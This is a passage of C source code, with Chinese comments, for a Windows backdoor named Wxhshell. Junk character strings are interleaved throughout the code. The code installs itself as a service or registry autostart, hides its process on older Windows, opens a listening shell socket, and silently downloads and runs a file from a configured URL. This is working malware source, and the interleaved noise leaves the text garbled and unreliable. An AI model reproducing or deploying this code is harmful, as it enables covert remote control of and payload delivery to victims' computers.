'|l0x0 if(hProcess==NULL) return 0; @Px_\w A7R [~ HMODULE hMod; A`nzqe#(1 char procName[255]; [z,6 K= unsigned long cbNeeded; `{H!V~42 09J,!NN if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KZ 4G" q"VC#97` CloseHandle(hProcess); G;AJBs>Y} B8>3GZi if(strstr(procName,"services")) return 1; // 以服务启动 Cuc+9 ZY*_x)h+#7 return 0; // 注册表启动 ~\u~>mtchu } r#(*x 2~, FL[w\&fp // 主模块 z_%}F': int StartWxhshell(LPSTR lpCmdLine) x.>&|Ej { Nt~G
{m SOCKET wsl; 7T?T0x3> BOOL val=TRUE; uQ3W = int port=0; ^C~t)U struct sockaddr_in door; x,Z:12H0 mV.26D<c if(wscfg.ws_autoins) Install(); q OV$4[r &IP`j~b port=atoi(lpCmdLine); wDKA1i%G p~z\&&0U0 if(port<=0) port=wscfg.ws_port; )<`/Aaie w_*$wVl WSADATA data; /;WFRp. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X4/3vY
QJ,~K&? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a 1~@m[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TE-(Zil\ door.sin_family = AF_INET; (t"e#b(: door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8*EqG5OP door.sin_port = htons(port); UQq Qim F@1Eg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &?^"m\K4J* closesocket(wsl); @gi / 1 cq return 1; %8lWJwb7u } @+Anp4%;Y `FByME if(listen(wsl,2) == INVALID_SOCKET) {
LDdgI closesocket(wsl); xd!GRJ<I return 1; e\! ic } .x_F4 #Ka Wxhshell(wsl); z`!f'I--! WSACleanup(); J'*`K>wV Mc6v return 0; n8o(>?Kw _^p\
u } 7w?N-Q$y &'c&B0j // 以NT服务方式启动 !DXK\,;> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q}hHoSG]= { ~X,ZZ 9H DWORD status = 0; ^@;P -0Sy DWORD specificError = 0xfffffff; du&9mOrr AX6l=jFZx serviceStatus.dwServiceType = SERVICE_WIN32; S{UEV7d:n0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; {$'oKJy* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $`_xP1bUT serviceStatus.dwWin32ExitCode = 0; ?,
cI!c` serviceStatus.dwServiceSpecificExitCode = 0; P.kf|,8L serviceStatus.dwCheckPoint = 0; Oox,4& serviceStatus.dwWaitHint = 0; PF:'dv Gy!bPVe hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?e[]UO if (hServiceStatusHandle==0) return; 6eW9+5oL hv )d status = GetLastError(); c4M]q4]F if (status!=NO_ERROR) }XfRKGQw { 0|FQIhVuY serviceStatus.dwCurrentState = SERVICE_STOPPED; <Gz* 2i serviceStatus.dwCheckPoint = 0; 43N=OFU serviceStatus.dwWaitHint = 0; :7pt=IA serviceStatus.dwWin32ExitCode = status; hc]5f3Z serviceStatus.dwServiceSpecificExitCode = specificError; F*=}}H/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); c6LPqPcN return; |L~RC } 92M_Z1_w[ fU'[lZ serviceStatus.dwCurrentState = SERVICE_RUNNING; La\|Bwx serviceStatus.dwCheckPoint = 0; yVH>Q-{ serviceStatus.dwWaitHint = 0; n@9R|biO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d2*uY., } HQV#8G#B n(jrK9] // 处理NT服务事件,比如:启动、停止 nh>lDfJV< VOID WINAPI NTServiceHandler(DWORD fdwControl) xN44>3# { t8t+wi! switch(fdwControl) [\.@,Y0j { yGlOs]>n case SERVICE_CONTROL_STOP: R9InUX"k serviceStatus.dwWin32ExitCode = 0; |. LE` serviceStatus.dwCurrentState = SERVICE_STOPPED; 'E %+ O serviceStatus.dwCheckPoint = 0; 6='x}Qb \H serviceStatus.dwWaitHint = 0; U46Z~B { MO_;8v~0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); #80M+m } %Q|Hvjk=E return; F^X:5g~K
case SERVICE_CONTROL_PAUSE: I5w>*F serviceStatus.dwCurrentState = SERVICE_PAUSED; 6G<gA>V break; B#[.c$ case SERVICE_CONTROL_CONTINUE: O8 5) ^ serviceStatus.dwCurrentState = SERVICE_RUNNING; YFs!,fw' break; >npFg@A case SERVICE_CONTROL_INTERROGATE: Vnnl~|Xx break; 8o!LgT5 }; ;g_<i_*x# SetServiceStatus(hServiceStatusHandle, &serviceStatus); KNqs=:i } <6!/B[!O= g5~wdhpb // 标准应用程序主函数 <{1=4PA int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +%LR1+/%b { td(4Fw||1y y/!jC]!+c // 获取操作系统版本 0Y9fK? ( OsIsNt=GetOsVer(); _#TbOfu GetModuleFileName(NULL,ExeFile,MAX_PATH); Y%@a~| Ep1p>s^ // 从命令行安装 i
E)Fo.H if(strpbrk(lpCmdLine,"iI")) Install(); aui3Mq#f ?a'P;&@7 // 下载执行文件 3Jw}MFFV if(wscfg.ws_downexe) { Ys@G0}\3G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eX <@qa4< WinExec(wscfg.ws_filenam,SW_HIDE); '+E\-X } [K"&1h<> i|QL6e*0 if(!OsIsNt) { u]s}@(+. // 如果时win9x,隐藏进程并且设置为注册表启动 qt4^e7o HideProc(); tqicyNL StartWxhshell(lpCmdLine); v}BXH4 &Y } fkJE lO-F else Fps:6~gD if(StartFromService()) L3y`*&e> // 以服务方式启动 do=s=&T StartServiceCtrlDispatcher(DispatchTable); \wxLt}T-Q else |oV_7%mlu // 普通方式启动 +~eybm; StartWxhshell(lpCmdLine); MNd[Xzm GKa_6X_ return 0; }WEF*4B! }
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